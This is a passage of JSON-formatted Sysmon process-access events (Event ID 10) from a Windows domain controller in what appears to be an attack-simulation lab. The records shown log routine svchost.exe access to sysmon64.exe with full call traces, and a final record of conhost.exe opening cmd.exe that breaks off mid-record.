\r\nUtcTime: 2020-08-07 11:56:24.712\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.712","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5057,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.712\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.712","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5058,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.712\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.712","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5059,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.712\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.712","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5060,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.712\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.712","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5061,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.712\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.712","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5062,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.712\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.712","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5063,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.712\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:24.712","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5064,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:24.712\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010E0580700}\r\nSourceProcessId: 1276\r\nSourceThreadId: 4304\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4168-5F2D-0000-0010CBDA0700}\r\nTargetProcessId: 4624\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 